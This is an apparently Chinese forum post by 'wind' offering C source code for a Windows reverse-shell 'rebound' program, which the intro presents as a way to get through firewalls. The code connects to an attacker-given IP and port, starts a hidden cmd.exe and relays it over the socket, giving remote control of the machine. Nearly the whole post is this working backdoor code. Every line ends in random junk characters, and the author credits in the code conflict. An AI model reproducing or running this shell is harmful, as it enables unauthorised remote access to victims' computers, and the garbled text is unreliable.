这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <[l0zE5Z8'
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/* ============================== E^s<5BC;
Rebound port in Windows NT o,NTIh
By wind,2006/7 , B90r7K:
===============================*/ s8:-*VR9
#include P55QE+B
#include [k~}Fe)x
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#pragma comment(lib,"wsock32.lib") qQN|\u+co
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void OutputShell(); FH3^@@Y%
SOCKET sClient; t GS>f>i
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; t/$:g9V%FA
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void main(int argc,char **argv) @"h@4q/W
{ !=)b2}e/>
WSADATA stWsaData; Qxb%P<`u
int nRet; f[ 'uka.U
SOCKADDR_IN stSaiClient,stSaiServer; `/"*_AKAI
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if(argc != 3) 1ze\ U>
{ @LyCP4
printf("Useage:\n\rRebound DestIP DestPort\n"); 2/dvCt6 N
return; #jqcUno
} &"gQrBa
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WSAStartup(MAKEWORD(2,2),&stWsaData); |YnT;q
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PKjM1wqaG@
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stSaiClient.sin_family = AF_INET; /gH[|d
stSaiClient.sin_port = htons(0); %|izt/B
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); DS|HN
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kVRh/<s
{ Ht,+KbB
printf("Bind Socket Failed!\n"); mVsghDESJ)
return; ` W}Bc
} OF1fS\P<>
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stSaiServer.sin_family = AF_INET; a(#aEbN?d
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <rn26Gfr
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Gnthz0\]{
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2kSN<jMr
{ b+#A=Z+Pr
printf("Connect Error!"); BcaX:C?f
return; o"gtWAGH
} *Y]()#?Gr
OutputShell(); .,*68S0k7
} UFl+|wf
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void OutputShell() ,ZWaTp*D/
{ rtn.^HF
char szBuff[1024]; nj4G8/U-q
SECURITY_ATTRIBUTES stSecurityAttributes; NsN =0ff
OSVERSIONINFO stOsversionInfo; I]iTD
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Yw6^(g8
STARTUPINFO stStartupInfo; ;RzbPlkl
char *szShell; V;IV2HT0J"
PROCESS_INFORMATION stProcessInformation; ;oM7H*WC
unsigned long lBytesRead; @%b&(x^UD
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Y;"rJxHD
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cii!
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stSecurityAttributes.lpSecurityDescriptor = 0; 5fvY#6;
stSecurityAttributes.bInheritHandle = TRUE; X3zpU7`Av+
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); lF#p1H>\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); W[SZZV_(tu
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); J/xbMMb
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3/s" ;Kg,
stStartupInfo.wShowWindow = SW_HIDE; 9g~"Y[ ]
stStartupInfo.hStdInput = hReadPipe; \r`><d
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; }!9KxwC(
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GetVersionEx(&stOsversionInfo); lS96sjJp@
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switch(stOsversionInfo.dwPlatformId) =im7RgIBo
{ J ?^R1
case 1: xcM*D3
szShell = "command.com"; 6d{&1-@>
break; (iJ9ekB
default: 3aUWQP2
szShell = "cmd.exe"; J.Fy0W@+k4
break; 8Cef ]@x
} rE?Fp
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U9(p ^
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send(sClient,szMsg,77,0); y*<x@i+h
while(1) vAcxca">S
{ |w+N(wcJ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q4h6K7
if(lBytesRead) FMEW['
{ k0@*Up3{7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BN%;AQV
send(sClient,szBuff,lBytesRead,0); [Ol~}@gV
} ,GUOq!z
else /Bs42uJ3
{ N9cCfB\`
lBytesRead=recv(sClient,szBuff,1024,0); U["-`:>jfp
if(lBytesRead<=0) break; DkJ "#8Yl=
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); JU3to_Io
} YT~h1<se
} $!v:@vNMs
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return; eufGU)M
}